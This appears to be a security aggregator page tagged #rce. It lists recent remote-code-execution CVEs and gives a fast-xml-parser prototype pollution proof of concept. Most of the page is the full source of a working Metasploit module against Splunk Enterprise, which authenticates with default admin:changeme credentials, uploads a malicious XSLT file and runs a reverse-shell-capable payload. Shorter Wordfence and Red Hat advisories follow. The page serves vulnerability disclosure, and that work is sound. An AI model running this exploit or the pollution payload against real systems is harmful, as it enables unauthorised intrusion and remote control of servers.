Internet Connection Sharing (ICS) Remote Code Execution Vulnerability

CVE-2023-35641

Windows Media Remote Code Execution Vulnerability

CVE-2023-21740

Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability

CVE-2023-36006

Microsoft USBHUB 3.0 Device Driver Remote Code Execution Vulnerability

CVE-2023-35629

Windows Bluetooth Driver Remote Code Execution Vulnerability

CVE-2023-35634

fast-xml-parser before 4.1.2 allows __proto__ for Prototype Pollution.

Taking an example code from the github repo to demonstrate the bug:

const { XMLParser, XMLBuilder, XMLValidator} \= require("fast-xml-parser");

let XMLdata \= "<\_\_proto\_\_><polluted>hacked</polluted></\_\_proto\_\_>"

const parser \= new XMLParser();
let jObj \= parser.parse(XMLdata);

console.log(jObj.polluted) // should return hacked

In the above screenshot you can see the jObj was polluted with a new property.

jObj
\>{}
jObj.\_\_proto\_\_
\>{polluted: 'hacked'}
jObj.\_\_proto\_\_.polluted
\>'hacked'

More information on prototype pollution can be found here: https://learn.snyk.io/lessons/prototype-pollution/javascript/

As it is common for developers to pass user controllable input to XMLParser , this can to do unexpected results. By chaining it with some prototype pollution gadget it might even can lead to RCE in some cases https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/

CVE-2023-26920: report.md

This Metasploit module exploits a remote code execution vulnerability in Splunk Enterprise. The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid credentials, typically admin:changeme by default. The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the runshellscript capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides the attacker with remote control over the compromised Splunk instance. The module is designed to work seamlessly, ensuring successful exploitation under the right conditions.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Splunk Authenticated XSLT Upload RCE',        'Description' => %q{          This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.          The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages          a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid          credentials, typically 'admin:changeme' by default.          The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the          vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'          capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides          the attacker with remote control over the compromised Splunk instance. The module is designed to work          seamlessly, ensuring successful exploitation under the right conditions.        },        'Author' => [          'nathan', # Writeup and PoC          'Valentin Lobstein', # Metasploit module          'h00die', # Assistance in module development        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2023-46214'],          ['URL', 'https://github.com/nathan31337/Splunk-RCE-poc'],          ['URL', 'https://advisory.splunk.com/advisories/SVD-2023-1104'], # Vendor Advisory          ['URL', 'https://blog.hrncirik.net/cve-2023-46214-analysis'], # Writeup        ],        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_PHP, ARCH_CMD],        'Targets' => [['Automatic', {}]],        'DisclosureDate' => '2023-11-28',        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8000        },        'Privileged' => false,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('USERNAME', [true, 'Username for Splunk', 'admin']),        OptString.new('PASSWORD', [true, 'Password for Splunk', 'changeme']),        OptString.new('RANDOM_FILENAME', [false, 'Random filename with 8 characters', Rex::Text.rand_text_alpha(8)]),      ]    )  end  def exploit    cookie_string ||= authenticate    unless cookie_string      fail_with(Failure::NoAccess, 'Authentication failed')    end    sleep(0.3)    csrf_token, updated_cookie_string = fetch_csrf_token(cookie_string)    unless csrf_token      fail_with(Failure::NoAccess, 'Failed to obtain CSRF token')    end    sleep(0.3)    malicious_xsl = generate_malicious_xsl    text_value = upload_malicious_file(malicious_xsl, csrf_token, updated_cookie_string)    unless text_value      fail_with(Failure::Unknown, 'File upload failed')    end    sleep(0.3)    jsid = get_job_search_id(csrf_token, updated_cookie_string)    unless jsid      fail_with(Failure::Unknown, 'Creating job failed')    end    sleep(0.3)    unless trigger_xslt_transform(jsid, text_value, updated_cookie_string)      fail_with(Failure::Unknown, 'XSLT Transform failed')    end    sleep(0.3)    unless trigger_payload(jsid, csrf_token, updated_cookie_string)      fail_with(Failure::Unknown, 'Failed to execute reverse shell')    end  end  def check    unless splunk?      return CheckCode::Unknown('Target does not appear to be a Splunk instance')    end    begin      cookie_string = authenticate    rescue RuntimeError      cookie_string = nil    end    unless cookie_string      return CheckCode::Detected('The target is Splunk but authentication failed')    end    version = get_version_authenticated(cookie_string)    return CheckCode::Detected('Unable to determine Splunk version') unless version    if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.6')) ||       version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.1'))      return CheckCode::Appears("Exploitable version found: #{version}")    end    CheckCode::Safe("Non-vulnerable version found: #{version}")  end  def trigger_payload(jsid, csrf_token, cookie_string)    return nil unless jsid && csrf_token    runshellscript_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')    runshellscript_data = {      'search' => "|runshellscript \"#{datastore['RANDOM_FILENAME']}.sh\" \"\" \"\" \"\" \"\" \"\" \"\" \"\" \"#{jsid}\""    }    upload_headers = {      'X-Requested-With' => 'XMLHttpRequest',      'X-Splunk-Form-Key' => csrf_token,      'Cookie' => cookie_string    }    print_status("Executing payload at #{runshellscript_url}")    res = send_request_cgi(      'uri' => runshellscript_url,      'method' => 'POST',      'vars_post' => runshellscript_data,      'headers' => upload_headers    )    unless res      print_error('Failed to execute payload: No response received')      return nil    end    if res.code == 201      print_good('Payload executed successfully')      return true    end    print_error("Failed to execute payload: Server returned status code #{res.code}")    return nil  end  def trigger_xslt_transform(jsid, text_value, cookie_string)    return nil unless jsid && text_value    exploit_endpoint = normalize_uri(target_uri.path, 'en-US', 'api', 'search', 'jobs', jsid, 'results')    exploit_endpoint << "?xsl=/opt/splunk/var/run/splunk/dispatch/#{text_value}/#{datastore['RANDOM_FILENAME']}.xsl"    xslt_headers = {      'X-Splunk-Module' => 'Splunk.Module.DispatchingModule',      'Connection' => 'close',      'Upgrade-Insecure-Requests' => '1',      'Accept-Language' => 'en-US,en;q=0.5',      'Accept-Encoding' => 'gzip, deflate',      'X-Requested-With' => 'XMLHttpRequest',      'Cookie' => cookie_string    }    print_status("Triggering XSLT transformation at #{exploit_endpoint}")    res = send_request_cgi(      'uri' => exploit_endpoint,      'method' => 'GET',      'headers' => xslt_headers    )    unless res      print_error('Failed to trigger XSLT transformation: No response received')      return nil    end    if res.code == 200      print_good('XSLT transformation triggered successfully')      return true    end    print_error("Failed to trigger XSLT transformation: Server returned status code #{res.code}")    return nil  end  def generate_malicious_xsl    encoded_payload = Rex::Text.html_encode(payload.encoded)    xsl_template = <<~XSL      <?xml version="1.0" encoding="UTF-8"?>      <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">        <xsl:template match="/">          <exsl:document href="/opt/splunk/bin/scripts/#{datastore['RANDOM_FILENAME']}.sh" method="text">            <xsl:text>#{encoded_payload}</xsl:text>          </exsl:document>        </xsl:template>      </xsl:stylesheet>    XSL    xsl_template  end  def get_job_search_id(csrf_token, cookie_string)    return nil unless csrf_token    jsid_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')    upload_headers = {      'X-Requested-With' => 'XMLHttpRequest',      'X-Splunk-Form-Key' => csrf_token,      'Cookie' => cookie_string    }    jsid_data = {      'search' => '|search test|head 1'    }    print_status("Sending job search request to #{jsid_url}")    res = send_request_cgi(      'uri' => jsid_url,      'method' => 'POST',      'vars_post' => jsid_data,      'headers' => upload_headers,      'vars_get' => { 'output_mode' => 'json' }    )    unless res      print_error('Failed to initiate job search: No response received')      return nil    end    jsid = res.get_json_document['sid']    return jsid if jsid  end  def upload_malicious_file(file_content, csrf_token, cookie_string)    unless csrf_token      print_error('CSRF token not found')      return nil    end    post_data = Rex::MIME::Message.new    post_data.add_part(file_content, 'application/xslt+xml', nil, "form-data; name=\"spl-file\"; filename=\"#{datastore['RANDOM_FILENAME']}.xsl\"")    upload_headers = {      'Accept' => 'text/javascript, text/html, application/xml, text/xml, */*',      'X-Requested-With' => 'XMLHttpRequest',      'X-Splunk-Form-Key' => csrf_token,      'Cookie' => cookie_string    }    upload_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__upload', 'indexing', 'preview')    res = send_request_cgi(      'uri' => upload_url,      'method' => 'POST',      'data' => post_data.to_s,      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",      'headers' => upload_headers,      'vars_get' => {        'output_mode' => 'json',        'props.NO_BINARY_CHECK' => 1,        'input.path' => "#{datastore['RANDOM_FILENAME']}.xsl"      }    )    unless res      print_error('Malicious file upload failed: No response received')      return nil    end    if res.headers['Content-Type'].include?('application/json')      response_data = res.get_json_document    else      print_error('Response is not in JSON format')      return nil    end    if response_data.empty?      print_error('Failed to parse JSON or received empty JSON')      return nil    end    if response_data['messages'] && !response_data['messages'].empty?      text_value = response_data.dig('messages', 0, 'text')      if text_value.include?('concatenate')        print_error('Server responded with an error: concatenate found in the response')        return nil      end      print_good('Malicious file uploaded successfully')      return text_value    end    print_error('Server did not return a valid "messages" field')    return nil  end  def fetch_csrf_token(cookie_string)    print_status('Extracting CSRF token from cookies')    csrf_token_match = cookie_string.match(/splunkweb_csrf_token_8000=([^;]+)/)    if csrf_token_match      csrf_token = csrf_token_match[1]      print_good("CSRF token successfully extracted: #{csrf_token}")      en_us_url = normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')      res = send_request_cgi({        'method' => 'GET',        'uri' => en_us_url,        'cookie' => cookie_string      })      updated_cookie_string = cookie_string      if res && res.code == 200        new_cookies = res.get_cookies        updated_cookie_string += new_cookies      end      return [csrf_token, updated_cookie_string]    end    fail_with(Failure::NotFound, 'CSRF token not found in cookies')  end  def get_version_authenticated(cookie_string)    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),      'vars_get' => {        'output_mode' => 'json'      },      'headers' => {        'Cookie' => cookie_string      }    })    return nil unless res&.code == 200    body = res.get_json_document    Rex::Version.new(body.dig('generator', 'version'))  end  def splunk?    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/en-US/account/login')    })    return true if res&.body =~ /Splunk/    false  end  def authenticate    login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')    res = send_request_cgi({      'method' => 'GET',      'uri' => login_url    })    unless res      fail_with(Failure::Unreachable, 'No response received for authentication request')    end    cval_value = res.get_cookies.match(/cval=([^;]*)/)[1]    unless cval_value      fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')    end    auth_payload = {      'username' => datastore['USERNAME'],      'password' => datastore['PASSWORD'],      'cval' => cval_value,      'set_has_logged_in' => 'false'    }    res = send_request_cgi({      'method' => 'POST',      'uri' => login_url,      'cookie' => res.get_cookies,      'vars_post' => auth_payload    })    unless res && res.code == 200      fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')    end    print_good('Successfully authenticated on the Splunk instance')    res.get_cookies  endend

Splunk XSLT Upload Remote Code Execution

WordPress Backup Migration plugin versions 1.3.7 and below suffer from a remote code execution vulnerability.

    Vulnerability Summary from Wordfence IntelligenceDescription: Backup Migration <= 1.3.7 backup-backup Unauthenticated Remote Code Execution Affected Plugin: Backup MigrationPlugin Slug: backup-backupAffected Versions: <= 1.3.7CVE ID:CVE-2023-6553Pending CVSS Score: 9.8 (Critical)CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HResearcher/s: Nex Team Fully Patched Version: 1.3.8Bounty Award: $2,751.00The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.7 via the /includes/backup-heart.php file. This is due to an attacker being able to control the values passed to an include, and subsequently leverage that to achieve remote code execution. This makes it possible for unauthenticated threat actors to easily execute code on the server.Technical AnalysisLine 118 within the /includes/backup-heart.php file used by the Backup Migration plugin attempts to include bypasser.php from the BMI_INCLUDES directory. The BMI_INCLUDES directory is defined by concatenating BMI_ROOT_DIR with the includes string on line 64. However, note that BMI_ROOT_DIR is defined via the content-dir HTTP header on line 62.affected_code_image_2 This means that the BMI_ROOT_DIR is user-controllable. By submitting a specially-crafted request, threat-actors can leverage this issue to include arbitrary, malicious PHP code and execute arbitrary commands on the underlying server in the security context of the WordPress instance.Disclosure TimelineDecember 5, 2023 – We receive the submission of the PHP Code Injection vulnerability in Backup Migration via the Wordfence Bug Bounty Program.December 6, 2023 – We validate the report and confirm the proof-of-concept exploit.December 6, 2023 – We initiate contact with the plugin developer and send over the full disclosure details. The vendor acknowledges the report and begins working on a fix. A fully patched version of the plugin, 1.3.8, is released.ConclusionIn this blog post, we detailed a critical PHP Code Injection vulnerability within the Backup Migration plugin affecting versions 1.3.7 and earlier. This vulnerability allows unauthenticated threat actors to inject arbitrary PHP code, resulting in a full site compromise. The vulnerability has been fully addressed in version 1.3.8 of the plugin.We urge WordPress users to verify that their sites are updated to the latest patched version of Backup Migration.Wordfence users running Wordfence Premium , Wordfence Care , and Wordfence Response  have been protected against these vulnerabilities as of December 6, 2023. Users still using the free version of Wordfence will receive the same protection on January 5, 2024.If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.

WordPress Backup Migration 1.3.7 Remote Code Execution

Red Hat Security Advisory 2023-7716-03 - An update for webkit2gtk3 is now available for Red Hat Enterprise Linux 8. Issues addressed include a code execution vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7716.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: webkit2gtk3 security updateAdvisory ID:        RHSA-2023:7716-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:7716Issue date:         2023-12-11Revision:           03CVE Names:          CVE-2023-42917====================================================================Summary: An update for webkit2gtk3 is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:WebKitGTK is the port of the portable web rendering engine WebKit to the GTK platform.Security Fix(es):* webkitgtk: Arbitrary Remote Code Execution (CVE-2023-42917)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-42917References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2253058

Red Hat Security Advisory 2023-7716-03

Red Hat Security Advisory 2023-7715-03 - An update for webkit2gtk3 is now available for Red Hat Enterprise Linux 9. Issues addressed include a code execution vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7715.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: webkit2gtk3 security updateAdvisory ID:        RHSA-2023:7715-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:7715Issue date:         2023-12-11Revision:           03CVE Names:          CVE-2023-42917====================================================================Summary: An update for webkit2gtk3 is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:WebKitGTK is the port of the portable web rendering engine WebKit to the GTK platform.Security Fix(es):* webkitgtk: Arbitrary Remote Code Execution (CVE-2023-42917)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-42917References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2253058

Tag

#rce